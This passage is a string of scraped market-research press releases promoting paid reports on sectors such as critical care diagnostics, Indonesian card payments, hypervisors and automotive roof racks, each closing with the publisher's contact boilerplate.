is expected to register sustainable growth during the forecast period. Increasing medical tourism and developing healthcare infrastructure is an important factor for the growth of the region.Major players operating in the Surgical drapes market are 3M Health Care, Cardinal Health, Medica Europe BV, Molnlycke Health Care, Paul Hartmann AG, Ahlstrom-Munksjo and STERIS plc.Send an Inquiry @Market Research Reports Search Engine (MRRSE) is an industry-leading database of Market Research Reports. MRRSE is driven by a stellar team of research experts and advisors trained to offer objective advice. Our sophisticated search algorithm returns results based on the report title, geographical region, publisher, or other keywords.MRRSE partners exclusively with leading global publishers to provide clients single-point access to top-of-the-line market research. MRRSEs repository is updated every day to keep its clients ahead of the next new trend in market research, be it competitive intelligence, product or service trends or strategic consulting.State Tower90, State StreetSuite 700Albany, NY - 12207United States Telephone: +1-518-730-0559Email: sales@mrrse.comWebsite:Read More Industry News At:
Critical Care Diagnostics Market Trends Expected to Emerge and Grow During 2016-2026

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Critical Care Diagnostics also known as point of care are the approved tests that are done near to the patient and provides quick result. The self-testing or over the counter test are also comes under critical care diagnostics. The pathology labs require certain time to provide results depends upon type of test, while critical care tests are the sophisticated test which provides result earlier to detect the disease for better treatment plan.Critical care diagnostics provides quick diagnostics tests to the patient and where the results can be obtained immediately, while the pathology labs requires hours or sometime days to provide results. The critical care diagnostics includes cancer biomarker test, cardiac markers diagnostics, blood glucose testing, pregnancy testing, blood gas and electrolyte analysis, drugs of abuse, urine stripe testing, food pathogens screening, cholesterol screening, haemoglobin diagnostics and infectious disease testing. The critical care diagnostics are used in hospitals, research centres, clinical laboratories as well as home. These diagnostic tests are cost effective and provides appropriate and rapid diagnosis. These test are used for diagnosis of life threatening diseases occurring in patients.Request Report TOC:Critical Care Diagnostics Market: Drivers and RestraintsThe Critical Care Diagnostics Market is expected to grow exponentially during the estimated period. The rising awareness about these test among physicians and patients and its associated benefits, increasing geriatric population, increasing prevalence of chronic disease like diabetes, heart disease, cancer will drive the market of critical care diagnostics in forecast period. However, the increasing cost of molecular diagnostics and less technological adoption in some developing countries may affect the growth of market. The critical care diagnostics test are easy to use and provides results and minutes. Theses test also provides mobile connectivity and hand-held system.Critical Care Diagnostics Market: OverviewThe market of critical care diagnostics is segmented as by type of product of product, mode of prescription, by end user and geographically. The product type includes type of kits for various type of disease such as blood glucose test, cancer biomarker test, infectious disease such as HIV, STDs, hepatitis, respiratory infections, influenza testing kits etc. some of critical care diagnostics test are prescription base and some are Over the counter tests. The test like biomarker test, infectious disease test, hematology test etc. are prescription test. These test are prescribed by physician to detect the cause of disease and other factors. Test like blood glucose test, pregnancy test are OTC tests. These test are done at home by patient himself to monitor and to check the level of disease states and other things.Request A Sample of Report:Critical Care Diagnostics Market: Regional OverviewGeographically, the global Critical Care Diagnostics Market is classified into regions namely, North America, Latin America, Western Europe, Eastern Europe, Asia Pacific Excluding Japan, Japan, Middle East and AfricaNorth America is expected to be the most lucrative market for critical care diagnostics owing to the presence more sophisticated instruments and technology in the region. The product awareness among the people of Europe is high and evolution of more physicians office labs and this will fuel the market of critical care diagnostics in the region. The large presence of geriatric population, improving health care service due to positive support of government to provide treatment in rural regions, increasing prevalence of chronic disease such as hypertension, obesity, diabetes are the key factor responsible for growth of critical care diagnostics in Asia pacific. The increasing healthcare expenditure in Japan will drive the market growth in the country. The epidemiology and mortality due to severe disease like cancer, heart disease is more in the Latin America due to less facilities available in the country. The insurance plan by government of region will help in the critical care diagnostics market.Pre Book Critical Care Diagnostics Market Research Report:Critical Care Diagnostics Market: Key PlayersSome of the major players operating in the market for Critical Care Diagnostics Market are Abbott Laboratories, Beckman Coulter, Inc., Beckman Coulter, Inc., Roche Diagnostics, Becton Dickinson & Co., Bio-Rad Laboratories, Nanomix Inx., Sysmex Corporation, Nova Biomedical, Siemens AG, Biosensors Japan etc. In 2015, stat profile prime, the blood gas analyzer, new generation product of Nova Biomedical got U.S. FDA approval for point of care diagnosis. In 2016, Abbott laboratories acquires Alere, the leader in point of care diagnostics.About UsFuture Market Insights (FMI) is a leading market intelligence and consulting firm. We deliver syndicated research reports, custom research reports and consulting services which are personalized in nature. FMI delivers a complete packaged solution, which combines current market intelligence, statistical anecdotes, technology inputs, valuable growth insights and an aerial view of the competitive framework and future market trends.Contact Us616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705T (UK): +44(0)20-7692-8790Sales: sales@futuremarketinsights.comWebsite:
Cards and Payments in Indonesia Market 2017: Key Players Bank Mega, Visa, Mastercard, American Express, JCB

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Summary"The Cards and Payments Industry in Indonesia: Emerging trends and opportunities to 2021", report provides detailed analysis of market trends in the Indonesian cards and payments industry. It provides values and volumes for a number of key performance indicators in the industry, including cash, cheques, and payment cards during the review-period (2012-16).The report also analyzes various payment card markets operating in the industry, and provides detailed information on the number of cards in circulation, transaction values and volumes during the review-period and over the forecast-period (2017e-21f). It also offers information on the country's competitive landscape, including the market shares of issuers and schemes.GET SAMPLE REPORT @Companies mentionedBank Rakyat IndonesiaBank Negara IndonesiaBank Central AsiaBank MandiriBank DanamonCIMB NiagaBank MegaVisaMastercardAmerican ExpressJCBThe report brings together research, modeling, and analysis expertise to allow banks and card issuers to identify segment dynamics and competitive advantages. The report also covers details of regulatory policy and recent changes in the regulatory structure.This report provides top-level market analysis, information and insights into the Indonesian cards and payments industry, including -- Current and forecast values for each market in the Indonesian cards and payments industry, including debit, credit and charge cards.- Detailed insights into payment instruments including cash, cheques, and payment cards. It also, includes an overview of the country's key alternative payment instruments.- E-commerce market analysis and payment methods.- Analysis of various market drivers and regulations governing the Indonesian cards and payments industry.- Detailed analysis of strategies adopted by banks and other institutions to market debit, credit and charge cards.Scope- Bank Indonesia, the countrys central bank, is enhancing the security of payment systems in order to build customer confidence in payment cards. In this regard, the government has mandated the migration of all payment cards to EMV standards by December 31, 2021. Similarly, as of July 1, 2017 the central bank has mandated the adoption of six-digit PINs for debit and ATM cards, instead of four-digit PINs.- Up until February 2016, the e-commerce market was in the governments Negative Investment list - and thereby foreign investors were not allowed to invest in local companies or set up a business. To boost investment in the domestic e-commerce market, the government introduced a new foreign direct investment policy in February 2016 allowing 100% foreign ownership of e-commerce companies for investments over $7.4m (IDR100bn), while for investments between $740,000 (IDR10bn) and $7.4m (IDR100bn), foreign ownership was capped at 49%. However, the former regulation was later revised in May 2016 to limit foreign ownership up to 49% in e-commerce companies.- Consumers in Indonesia are gradually adopting contactless payments. Consequently, Visa launched its contactless service Visa payWave in Indonesia in September 2016. This service enables Visa card holders to make contactless transactions without a PIN for transactions below $74.0 (IDR1m). Following this, Bank CIMB Niaga, Bank Tabungan Pensiunan Negara, UOB Indonesia, and Bank Mandiri adopted this technology.Reasons to buy- Make strategic business decisions, using top-level historic and forecast market data, related to the Indonesian cards and payments industry and each market within it.- Understand the key market trends and growth opportunities in the Indonesian cards and payments industry.- Assess the competitive dynamics in the Indonesian cards and payments industry.- Gain insights into marketing strategies used for various card types in Indonesia.- Gain insights into key regulations governing the Indonesian cards and payments industry.Table of Content: Key PointsEXECUTIVE SUMMARY 21.1. Market overview 21.3. Key facts 41.4. Top five industry events 52. PAYMENT INSTRUMENTS 112.1. Current payment environment 113. E-COMMERCE AND ALTERNATIVE PAYMENTS 133.1. E-commerce market analysis 133.3. Alternative payment solutions 153.3.1. PayPal 153.3.2. Sakuku 153.3.3. Mandiri e-Cash 153.3.4. Straight2Bank 163.3.5. Dompetku 163.3.6. XL-Tunai 163.3.7. TCASH 163.3.8. mVisa 173.3.9. DOKU 173.3.10. Fortumo 173.3.11. BBM Money 174. REGULATIONS IN THE CARDS AND PAYMENTS INDUSTRY 184.1. Regulatory framework 184.1.1. Regulations related to card issuers 184.1.2. Regulations related to credit cards 184.1.3. Electronic banking regulations 194.2. Anti-money laundering 194.3. Foreign direct investment regulations 195. ANALYSIS OF CARDS AND PAYMENTS INDUSTRY DRIVERS 216. PAYMENT CARDS 237. DEBIT CARDS 25ContinuedACCESS REPORT @Get in touch:LinkedIn:Twitter:Facebook:Wise Guy Reports understand how essential statistical surveying information is for your organization or association. Therefore, we have associated with the top publishers and research firms all specialized in specific domains, ensuring you will receive the most reliable and up to date research data available. We also provide COTS (Commercial off the Shelf) business sector reports as custom exploration agreeing your particular needs.WISE GUY RESEARCH CONSULTANTS PVT LTDOffice No. 528, Amanora ChambersPune - 411028Maharashtra, India
Remote Patient Monitoring Devices Market Expected To Be Worth US$0.98 bn by 2020

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"The Latest Research Report Remote Patient Monitoring Devices Market - Global Industry Analysis, Size, Share, Growth, Trends and Forecast 2014 - 2020 provides information on pricing, market analysis, shares, forecast, and company profiles for key industry participants. - MarketResearchReports.biz"Remote patient monitoring enables remote monitoring of patients health and assists medical practitioners in deciding the treatment regimen and track the disease progression during treatment. Remote patient monitoring is effective in management of post acute care and chronic disease, monitoring of safety of the elderly patients and disease progression. Geriatric population is observed to be at a high risk of chronic diseases such as diabetes, hypertension, cardiovascular diseases and respiratory diseases. Thus, rising geriatric population propels the prevalence of chronic diseases leading to accentuate the growth of remote patient monitoring devices market globally. While on the other hand, lack of reimbursement coverage and data security concerns are the major factors that are observed to be hindering the growth of the global remote patient monitoring devices market.Get Sample copy of this Report @The executive summary of the report comprises market snapshot of the global remote patient monitoring devices and comparative analysis by geography in terms of value % for 2013 and 2020. The global remote patient monitoring devices market has been segmented based on types of devices that are commercially available: heart monitors, breath monitors, physical activity monitors, hematology monitors, multi-sign monitors and others. Heart monitors segment has been sub-segmented into ECG monitors, heart rate monitors, fetal heart monitors, and blood pressure monitors. Breath monitors segment is further categorized as respiration rate monitors, spirometers, and sleep apnea monitors. Physical activity monitors segment has been sub-segmented into activity level monitors and weight monitors. Hematology segment has been further classified as blood glucose monitors and prothrombin time monitors. Others segment includes devices such as infusion pumps, ventilators and body temperature monitors. Market analysis and revenue forecast for all the above mentioned segments has been provided in the report, in terms of USD million from 2012 to 2020. The report also includes the compounded annual growth rate (CAGR %) for each end user segment (home healthcare and ambulatory care centers) for the forecast period from 2014 to 2020, considering 2013 as the base year.The market overview section of the remote patient monitoring devices market report analyzes the market dynamics and trends such as drivers, restraints and opportunities that influence the current nature and future status of the global remote patient monitoring devices market. Impact factors such as market attractiveness analysis by geography and Porters five forces (bargaining power of suppliers, bargaining power of buyers, threat of new entrants, threat of substitutes and competitive rivalry) analysis of the global remote patient monitoring devices market have been provided in this section of the report. In addition, market share analysis of key players (value %) for the year 2013 has also been explained in the market overview section of the report in order to provide a thorough analysis of the overall competitive scenario in the global remote patient monitoring devices market. Furthermore, the report includes value chain analysis and regulatory framework analysis of the remote patient monitoring devices market.View Sample PDF @Geographically, the global remote patient monitoring devices market has been classified into four regions: North America, Europe, Asia Pacific and Rest of the World (RoW). The current and future market sizes (in terms of USD million) of the regional markets mentioned above have been provided in the report for the period from 2012 to 2020 along with the growth rate (CAGR %) for the period from 2014 to 2020. The study further offers recommendations for the remote patient monitoring devices market, which would be useful for existing and new players to sustain and grow in the market.The remote patient monitoring devices market report concludes with the company profiles section that includes key information in terms of company overview, financial information, product portfolio, business strategies and recent development about the major players operating in the remote patient monitoring devices market. Detailed analysis of these companies is included in this section in order to give a thorough analysis of the overall competitive scenario in the global remote patient monitoring devices market. Key players profiled in the section include, Abbott Laboratories, Aerotel Medical Systems, Covidien plc, AMD Global Telemedicine, F. Hoffmann-La Roche Ltd., Honeywell HomMed LLC, Omron Healthcare and Smiths Medical.The global remote patient monitoring devices market is segmented as follows:Global Remote Patient Monitoring Devices, by TypesHeart MonitorsECGHeart rate monitorsFetal heart monitorsBlood pressure monitorsBreath MonitorsRespiration rate monitorsSpirometersSleep apnea monitorsPhysical Activity MonitorsActivity level monitorsWeight monitorsHematology MonitorsBlood glucose monitorsProthrombin time monitorsMulti-sign MonitorsOthers (remotely monitored infusion pumps, Ventilators, etc.)Global Remote Patient Monitoring Devices, by End UsersHome HealthcareAmbulatory Care CentersGlobal Remote Patient Monitoring Devices, by GeographyNorth AmericaEuropeAsia-PacificRest of the WorldSend An Enquiry Request @Table Of ContentsChapter 1 Preface1.1 Report Description1.2 Market Segmentation1.3 Research Methodology1.3.1 Sources1.3.1.1 Secondary Research1.3.1.2 Primary Research1.3.2 AssumptionsChapter 2 Executive Summary2.1 Market Snapshot: Global Remote Patient Monitoring Devices Market (2013 & 2020)2.2 Global Remote Patient Monitoring Devices Market, by Types, 2013 (USD Million)2.3 Comparative Analysis: Global Remote Patient Monitoring Devices Market, By Geography, 2013 & 2020 (Value %)Chapter 3 Market Overview3.1 Introduction and Market Definition3.2 Event Impact Analysis3.3 Market Dynamics3.3.1 Market Drivers3.3.1.1 Increasing prevalence of chronic diseases would drive the demand for remote patient monitoring devices3.3.1.2 Growing geriatric population accentuates the uptake of patient monitoring devices for home use3.3.1.1 Increasing economic burden on hospitals owing to hospital readmissions propels the adoption of remote patient monitoring3.3.2 Restraints3.3.2.1 Insufficiency in maintaining the privacy and security of the stored data would hinder the growth of remote patient monitoring devices market3.3.3 Opportunities3.4 Porters Five Force Analysis for the Global Remote Patient Monitoring Devices Market3.4.1 Bargaining Power of Suppliers3.4.2 Bargaining Power of Buyers3.4.3 Threat of Substitutes3.4.4 Threat of New Entrants3.4.5 Competitive Rivalry3.5 Value Chain Analysis3.6 Market Attractiveness Analysis: Global Remote Patient Monitoring Devices Market, by Geography, 20133.7 Competitive Landscape3.7.1 Global Remote Patient Monitoring Devices Market Share Analysis, by Key Players, 2013 (Value %)Buy Now This Report From Here @About usMarketResearchReports.biz is the most comprehensive collection of market research reports. MarketResearchReports.Biz services are specially designed to save time and money for our clients. We are a one stop solution for all your research needs, our main offerings are syndicated research reports, custom research, subscription access and consulting services. We serve all sizes and types of companies spanning across various industries.ContactMr. NachiketState Tower90 Sate Street, Suite 700Albany, NY 12207Tel: +1-518-621-2074USA: Canada Toll Free: 866-997-4948Website:E: sales@marketresearchreports.biz
Parkinsons Disease Therapeutics Market Trends Expected to Emerge and Grow During 2016-2026

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Parkinsons disease is a central nervous system disorder affecting motor neuron activities, characterized by tremor, rigidity, dementia, depression etc. According to GDB 2013 Mortality and Causes of Death Collaborators report, in 2013, 53 Mn people were living with Parkinsons disease while the disease caused 103,000 deaths globally. Risk of Parkinsons disease increases with age and the disease mainly affects person over 50 years of age. Treatment for the Parkinsons disease in mainly symptomatic and no curative treatment options are available. The main aim of the Parkinsons disease treatment is to provide control on signs and symptoms such as shakiness in hands, difficulty with walking, slowness of movement etc. Therapeutic approach for each person varies according to his or her symptoms. Treatment options include medication or surgical treatment. Levodopa in combination with carbidopa is considered as a gold standard for symptomatic treatment of Parkinsons disease. Surgical treatment options include deep brain stimulation and Carbidopa/levodopa enteral suspension therapy. However, surgical therapy is effective only for patients who have previously responded to Levodopa therapy. Some of the commercially available drugs for treatment of Parkinsons disease are Cycloset, Parlodel (Bromocriptine Mesylate), Requip (ropinirole), Rytary, Azilect, Northera, Stalevo, Comtess/Comtan and others. Over the past decade, great progress has been made in the treatment of Parkinsons disease such as identification of new therapeutic targets through genetic research, understanding the common mutations that contribute to Parkinsons disease etc.Request Report TOC:Parkinsons disease Therapeutics Market: Drivers and RestraintsRecent advances in Parkinsons disease therapeutics such as combination therapies to prolong the action of continuous dopaminergic stimulation drugs, approval for Neurostimulation devices neuroprotective therapies to slow down prognosis of a disease, gene therapy, neural transplantation etc. are expected to bring massive growth in global Parkinsons disease therapeutics market over the forecast period. Moreover, increasing aging population, prevalence of Parkinsonism across the world are the factors fueling demand for Parkinsons disease therapeutics. But generic erosion due to expiry of patents for several drugs such as Rytary, Stalevo (2012), Azilect (2017), Comtan (exclusivity expired in 2013) etc. would deter the growth of global Parkinsons disease therapeutics marketParkinsons disease Therapeutics Market: OverviewGlobal Parkinsons disease therapeutics market is expected to witness healthy CAGR over the forecast period as few new therapies are expected to hit the market during the forecast period such as repetitive transcranial magnetic stimulation device, adipose derived stem cell therapy, non-invasive Neurostimulation device etc. Increasing burden of Parkinsons disease management on healthcare systems of major countries such as the U.S. and U.K. would stimulate the exhaustive efforts by the government to increase the pace of R&D in Parkinsons disease therapeutics. For instance, in the U.S. over 40 medicines are being developed for the treatment and diagnosis of Parkinsons disease many of which have gained fast track designation from the U.S. FDA.Request A Sample of Report:Parkinsons disease Therapeutics Market: Regional OverviewRegion wise, the global Parkinsons disease therapeutics market is classified into seven regions namely, North America, Latin America, Western Europe, Eastern Europe, Asia-Pacific, Japan, Middle East and Africa. North America has conventionally dominated the global market for Parkinsons disease therapeutics due to good reimbursement policies and high prevalence of the disease. According to Parkinsons disease Foundation (PDF) approximately 60,000 Americans are diagnosed with Parkinsons disease annually. Europe is expected to hold second highest share in the global market owing to increasing R&D efforts by the key players in the region.Parkinsons disease Therapeutics Market: Key PlayersSome of the key players in global Parkinsons disease therapeutics market include GlaxoSmithKline Plc., Salix Pharmaceuticals, mpax Laboratories, Inc., Teva Pharmaceutical Industries Ltd., Novartis AG, Orion Corporation, Mylan N.V. while generic players include Par Pharmaceutical, Cipla Inc., Daiichi Sankyo, Apotex Inc., Wockhardt Limited and others.Pre Book Parkinsons disease Therapeutics Market Research Report:About UsFuture Market Insights (FMI) is a leading market intelligence and consulting firm. We deliver syndicated research reports, custom research reports and consulting services which are personalized in nature. FMI delivers a complete packaged solution, which combines current market intelligence, statistical anecdotes, technology inputs, valuable growth insights and an aerial view of the competitive framework and future market trends.Contact Us616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705T (UK): +44(0)20-7692-8790Sales: sales@futuremarketinsights.comWebsite:
Insulated Concrete Form Market will notice significant growth by 2022, Forecast| Analysis| Size| Share

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Market ScenarioInsulated concrete form (ICF) is a system of formwork for reinforced concrete which is made with a rigid thermal insulation that stays in place as a permanent interior and exterior substrate for walls, floors, and roofs. The key driver of the growth of insulated concrete form market is the growing construction & infrastructural activities across the globe. The rising demand for natural disaster resistant buildings among consumers is also fueling the growth of this market. Enhanced thermal insulation performance has augmented its popularity among the competitors & consumers, and is also contributing to the market growth. However, fluctuating prices of raw materials are expected to remain a key challenge for the industry participants. The insulated concrete form market is expected to grow at a CAGR of 7% by 2022.Key PlayersThe leading players in the insulated concrete form markets are IntegraSpec ICF, Quad-Lock Building Systems Ltd., Nudura Corporation, Logix Insulated Concrete Forms Ltd., Reward Wall Systems Inc., Amvic Building System, BuildBlock Building Systems Inc., Plasti-Fab Expanded Polystyrene Product Solutions, Durisol Building System Inc., and Airlite Plastics Company.Request a sample @List of FigureFIGURE 1 Insulated Concrete Form Market SegmentationFIGURE 2 Forecast MethodologyFIGURE 3 Five Forces Analysis Of Insulated Concrete Form Materials MarketFIGURE 4 Value Chain Of Insulated Concrete Form MarketFIGURE 5 Share Of Insulated Concrete Form Market In 2014, By Country (In %)FIGURE 6 Insulated Concrete Form Market, 2015-2022, (USD Billion)FIGURE 7 Sub-Segments Of Insulated Concrete Form MarketFIGURE 8 Insulated Concrete Form Market Size By Concrete ShapeFIGURE 9 Share Of Flat Wall System In Insulated Concrete Form Market, 2012 To 2022FIGURE 10 Share Of Screen Grid System In Insulated Concrete Form Market, 2012 To 2022FIGURE 11 Share Of Waffle Grid System In Insulated Concrete Form Market, 2012 To 2022FIGURE 12 Share Of Post & Lintel System In Insulated Concrete Form Market, 2012 To 2022FIGURE 13 Insulated Concrete Form Market Size By Material TypeFIGURE 14 Share Of Polystyrene Foam In Insulated Concrete Form Market, 2012 To 2022FIGURE 15 Share Of Plastic Foam In Insulated Concrete Form Market, 2012 To 2022FIGURE 16 Share Of Polyurethane Foam In Insulated Concrete Form Market, 2012 To 2022FIGURE 17 Share Of Cement-Bonded Wood Fiber In Insulated Concrete Form Market, 2012 To 2022FIGURE 18 Share Of Cement-Bonded Polystyrene Beads In Insulated Concrete Form Market, 2012 To 2022FIGURE 19 Insulated Concrete Form Market Size By ApplicationFIGURE 20 Share Of Residential In Insulated Concrete Form Market, 2012 To 2022FIGURE 21 Share Of Commercial In Insulated Concrete Form Market, 2012 To 2022FIGURE 22 Share Of Industrial In Insulated Concrete Form Market, 2012 To 2022FIGURE 23 Share Of Infrastructural In Insulated Concrete Form Market, 2012 To 2022The report for Insulated Concrete Form Market of Market Research Future comprises of extensive primary research along with the detailed analysis of qualitative as well as quantitative aspects by various industry experts, key opinion leaders to gain the deeper insight of the market and industry performance. The report gives the clear picture of current market scenario which includes historical and projected market size in terms of value and volume, technological advancement, macro economical and governing factors in the market. The report provides details information and strategies of the top key players in the industry. The report also gives a broad study of the different market segments and regions.Browse report @About Market Research Future:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.Contact:Market Research FutureOffice No. 524/528, Amanora ChambersMagarpatta Road, HadapsarPune - 411028Maharashtra, India+1 646 845 9312Email: sales@marketresearchfuture.com
Hypervisor Market Estimated to Flourish by 2027

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Hypervisor is a firmware, software or hardware which is synonymously used for the term virtual machine monitor (VMM) that creates and runs machines virtually. Hypervisor is installed on server hardware to control the guest operating systems running on the host machine. The primary function of a hypervisor is to provide the requirements of guest operating system and efficiently be able to manage the process such that the instances of multiple operating systems do not disturb one another. Hypervisor are basically divided into two types: bare-metal hypervisors (Type 1) and hosted hypervisors (Type 2). Recently, most hypervisors are either used for large scale server deployments or try out a different operating system or for end users to run mobile apps. Customers, while choosing hypervisor needs to compare their performance metrics. The metrics include amount of maximum host, CPU overhead, and guest memory, and support for virtual processors.Request For Report Sample:Increasing application in virtualization technology is incorporated in enterprises for performance and safety applications. Adoption of virtual machines in aerospace and defense sectors is another factor which is expected to have a positive impact on the growth of global hypervisor market. Rapid growth in the usage of smartphones and tablets is among the other factors driving the growth of global hypervisor market.Compliance issues with configurations in hypervisor converged systems and high initial infrastructural costs for the deployment are a few challenges that affect the growth of global hypervisor market negatively.Request For Report Table of Content (TOC):Global hypervisor market can be segmented into component, application, and end-user. On the basis of component, global hypervisor market can be segmented into hardware, software and service. On the basis of application, global hypervisor market can be segmented into consumer electronics, aerospace and defence, automotive, BFSI, medical devices, industrial automation, and others. On the basis of end-user, global hypervisor market can be segmented into small enterprise, medium enterprise and large enterprise.On the basis of regions, global hypervisor market can be segmented into North America, Latin America, Western Europe, Eastern Europe, Asia Pacific excluding Japan, Japan, and Middle East and Africa. The market in North America and Europe is expected to have significant market share of the global hypervisor market. Asia Pacific hypervisor market is having maximum potential in the forecast period. Hypervisor markets in Latin America and Middle East and Africa are expected to register positive growth during the forecast period.Some of the key players for Hypervisor Market include IBM Corporation, Microsoft Corporation, Vmware, Inc., NXP Semiconductors N.V., QNX Software Systems Limited, Mentor Graphics, WindRiver Systems, Inc., TenAsys Corporation, Lynx Software Technologies, Inc, and Green Hills SoftwareBrowse Premium Industry Research Report with Analysis:ABOUT US:Future Market Insights (FMI) is a leading market intelligence and consulting firm. We deliver syndicated research reports, custom research reports and consulting services, which are personalized in nature. FMI delivers a complete packaged solution, which combines current market intelligence, statistical anecdotes, technology inputs, valuable growth insights, an aerial view of the competitive framework, and future market trends.CONTACT US:Future Market Insights616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesTel: +1-347-918-3531Email: sales@futuremarketinsights.comWebsite:
Bile Collection Bags Market Projected to Grow at Steady Rate through 2027

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Bile collection bags are mainly used for the process of bile drainage. Bile drainage involves the insertion of a tube in the liver to extract the bile juice. Bile collection bags are used across diagnostic centres and pathology labs and are usually made of plastic and elastomers. Apart from the bile juice, they are also used for the collection of gastric secretions. Bile collection bags market is expected to grow over the forecast period due to rising prevalence of liver related disorders. The growth of the global bile collection bags is also expected to expand due to growing demand for laparoscopic cholecystectomy.Since there is a rising prevalence of chronic diseases worldwide, the global bile collection bags market is expected to be driven by the high demand in surgical procedures. Bile collection bags facilitate the easy collection of bile and other gastric secretions which is further anticipated to bolster the demand of the global market. Additionally, the increase in the geriatric population globally is also leading to surging demand for bile collection bags market. Moreover, the government of emerging economies is providing the facility of an easy access to the bile collection bags which is expected to open up new market opportunities for growth of the global bile collection bags market. The growth of the global bile collection bags market is hampered by an increased risk of cross contamination and strict government regulations concerning the efficacy and safety of these bags is expected to hamper the growth of the global bile collection bags market. High taxation on the healthcare devices is also expected to restrain the growth of the global bile collection bags market. Use of raw materials that are rendered safe for environment is expected to open up new avenues of market growth for the global bile collection bags market.Request For Report Sample:The global bile collection bags market is segmented on the basis of the region into North America, Europe, Asia Pacific, Middle East & Africa (MEA), and Latin America. North America is expected to lead the global bile collection bags market attributed to a well-established healthcare industry along with a health concerned population base. . Asia Pacific bile collection bags market is expected to expand at the highest CAGR over the forecast period due to rising technological innovations among the healthcare organizations in the region. Economy like India in the APAC region represents a high number of liver related disorders wherein the bile collection bags are expected to find their maximum consumption. Europe bile collection bags market is expected to witness moderate growth over the forecast period. The region is expected to grow at a slow pace as compared to Asia Pacific due to down turning economy in certain regions. Middle East & Africa is expected to witness sluggish growth due to comparatively low GDP and a low percentage of healthcare expenditure.Request For Report Table of Content (TOC):Some of the key players operating in the global bile collection bags market are Hyupsung Medical Co., Ltd., C. R. Bard, Inc., Medline Industries, Inc., Baxter International Inc., Fresenius Medical Care AG & Co., and Redax.Browse Premium Industry Research Report with Analysis:ABOUT US:Future Market Insights (FMI) is a leading market intelligence and consulting firm. We deliver syndicated research reports, custom research reports and consulting services, which are personalized in nature. FMI delivers a complete packaged solution, which combines current market intelligence, statistical anecdotes, technology inputs, valuable growth insights, an aerial view of the competitive framework, and future market trends.CONTACT US:Future Market Insights616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesTel: +1-347-918-3531Email: sales@futuremarketinsights.comWebsite:
Forecast and Analysis on Automotive Roof Bar & Roof Racks Market for Period (2017-2027)

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Automotive Roof Bar & Roof Racks Market: OverviewAutomotive roof bars is employed for effective transportation of load while travelling. By placing the luggage on roof bar, the cargo space area inside the vehicle can be utilized more effectively. There are mainly three parts of the automotive roof bar are towers, rail and mounts. The rail is used for supporting the frame of roof bar. On the other hand, the roof racks are an assembly of bars that are attached at the roof of the vehicles for carry bulk items for instance, bicycles, luggage and various carriers without consuming the interior space of the vehicle. Earlier, the roof bar & roof racks were mounted directly on the roof of the vehicles. But now, these bars and racks can be attached with the help of hooks or joint on the roof of the vehicle as well can be removed after use. Flexibility, low maintenance cost, low operational cost and low maintenance cost remain the prime focus of key manufacturer in the global automotive roof bar & roof racks market during the forecast period.Automotive Roof Bar & Roof Racks Market: Dynamics:Increasing investment in the tourism sector, increasing production of vehicle and rising disposable income are aggrandizing the global automotive roof bar & roof racks market during the forecast period. Additionally, rising urbanization and increasing environmental pollution has risen the noteworthy focus on the outdoor and gateway activities these are also playing a crucial role in this market. Growing tourism and travel sector as well reduction in air fare particularly in South Asia in particular is also expected to drive the global automotive roof bar & roof racks market during the forecast period. Furthermore, increasing standards of living, growth in adventure sport is anticipated to upsurge the global automotive roof bar & roof racks market throughout the forecast period. On the other hand, increasing investment in R&D for innovative material & overall development of roof bar & roof racks for increasing load capacity is also playing a vital role in the global automotive roof bar & roof racks market during the forecast period.Request Report Sample@It is expected that aftermarket segment may impact the global automotive roof bar & roof rack market during the forecast period owing to weight of vehicle will increase as well fuel consumption will also increase that result of overall vehicle performance will reduce.Over the past few years, the recreational activity such as mountain biking and short bike touring is gaining the popularity and giving the musk vision of the global automotive roof bar & roof racks market during the forecast period.Automotive Roof Bar & Roof Racks Market: Segmentation:The global automotive roof bar & roof racks market can be segmented on the basis of Vehicle types:Passenger CarLight Commercial VehicleHeavy Commercial VehicleThe global automotive roof bar & roof racks market can be segmented on the basis of Product Type:RailingClampingFix PointBare Roof MountRaised RailRain GutterOthersThe global automotive roof bar & roof racks market can be segmented on the basis of Material:Steel AlloyAluminum AlloyComposite PlasticOthersThe global automotive roof bar & roof racks market can be segmented on the basis of Sales Channels:OEMsAftermarketAutomotive Roof Bar & Roof Racks Market: Region-wise Outlook:It is anticipated that North America and Asia Pacific are dominating in the global automotive roof bar & roof racks market during the forecast period owing to increasing automotive vehicle production and heavily invested in the tourism sector are enriching this market. The BRICS (Brazil, Russia, India, China and South Africa) is expected to contribute a noteworthy share in the global automotive roof bar & roof racks market owing to significant growth in the automotive sector and transportation sector. It is also projected that this trend will grow with high digit CAGR during the forecast period. Additionally. Other region is also gaining significant traction in the global automotive roof bar & roof racks market throughout the forecast period.Visit For TOC@Automotive Roof Bar & Roof Racks Market: Key Participants:The key participants of the global Automotive Roof Bar & Roof Racks Market are following:CRUZBER SAAtera GmbHThule GroupYakima Products Inc.BOSALRhino-Rack USA, LLC.NEUMANN, spol. s r.o.Perrycraft, Inc.VDL Hapro bvMINTH Group Ltd.JAC ProductsAbout Us  Future Market Insights is the premier provider of market intelligence and consulting services, serving clients in over 150 countries. FMI is headquartered in London, the global financial capital, and has delivery centers in the U.S. and India.Contact Us:Future Market Insights616 Corporate Way,Suite 2-9018,Valley Cottage,New York 10989,United StatesTel: +1-347-918-3531Fax: +1-845-579-5705Email: sales@futuremarketinsights.comWebsite:
Forecast on Hinged Dispensing Caps Market for the Period 2017 - 2027

